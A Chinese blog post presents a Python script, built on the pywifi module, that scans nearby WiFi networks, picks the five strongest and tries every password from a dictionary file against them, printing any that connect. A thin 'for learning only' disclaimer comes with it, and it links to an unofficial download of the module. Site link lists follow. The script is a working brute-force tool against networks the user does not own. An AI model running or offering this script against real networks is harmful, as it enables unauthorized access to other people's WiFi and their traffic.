Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python中输出ASCII大文字、艺术字、字符字小技巧
Apr 28 Python
Python单例模式的两种实现方法
Aug 14 Python
python对excel文档去重及求和的实例
Apr 18 Python
python 去除二维数组/二维列表中的重复行方法
Jan 23 Python
Django框架搭建的简易图书信息网站案例
May 25 Python
python解析yaml文件过程详解
Aug 30 Python
Python操作Mongodb数据库的方法小结
Sep 10 Python
python如何将两个txt文件内容合并
Oct 18 Python
opencv-python 读取图像并转换颜色空间实例
Dec 09 Python
windows下python安装pip方法详解
Feb 10 Python
python爬虫把url链接编码成gbk2312格式过程解析
Jun 08 Python
详解如何修改python中字典的键和值
Sep 29 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
Breeze 文章管理系统 v1.0.0正式发布
2006/12/14 PHP
phpMyAdmin出现无法载入 mcrypt 扩展,请检查PHP配置的解决方法
2012/03/26 PHP
测试php连接mysql是否成功的代码分享
2014/01/24 PHP
带密匙的php加密解密示例分享
2014/01/29 PHP
PHP中的替代语法简介
2014/08/22 PHP
PHP随机获取未被微信屏蔽的域名(微信域名检测)
2017/03/19 PHP
php实现头像上传预览功能
2017/04/27 PHP
laravel实现上传图片,并且制作缩略图,按照日期存放的代码
2019/10/16 PHP
js类中获取外部函数名的方法与代码
2007/09/12 Javascript
HTML颜色选择器实现代码
2010/11/23 Javascript
ExtJs默认的字体大小改变的几种方法(自己整理)
2013/04/18 Javascript
JavaScript学习笔记之JS对象
2015/01/22 Javascript
jQuery实现仿Alipay支付宝首页全屏焦点图切换特效
2015/05/04 Javascript
很不错的两款Bootstrap Icon图标选择组件
2016/01/28 Javascript
Bootstrap开关(switch)控件学习笔记分享
2016/05/30 Javascript
JS仿hao123导航页面图片轮播效果
2016/09/01 Javascript
BootStrap中按钮点击后被禁用按钮的最佳实现方法
2016/09/23 Javascript
JavaScript中创建原子的方法总结
2018/08/26 Javascript
Webpack4 使用Babel处理ES6语法的方法示例
2019/03/07 Javascript
vue页面切换项目实现转场动画的方法
2019/11/12 Javascript
JavaScript实现简易聊天对话框(加滚动条)
2020/02/10 Javascript
three.js 将图片马赛克化的示例代码
2020/07/31 Javascript
js实现简易计算器小功能
2020/11/18 Javascript
浅析Python中的for 循环
2016/06/09 Python
简单了解什么是神经网络
2017/12/23 Python
Python实现学生成绩管理系统
2020/04/05 Python
python实现简单图片物体标注工具
2019/03/18 Python
python3常用的数据清洗方法(小结)
2019/10/31 Python
Python通过getattr函数获取对象的属性值
2020/10/16 Python
Python常用GUI框架原理解析汇总
2020/12/07 Python
canvas如何绘制钟表的方法
2017/12/13 HTML / CSS
银行行长竞聘演讲稿
2014/04/23 职场文书
2014年大学生党员自我评议
2014/09/22 职场文书
退休党员个人对照检查材料思想汇报
2014/09/29 职场文书
pandas 操作 Excel操作总结
2021/03/31 Python
详解NodeJS模块化
2021/06/15 NodeJs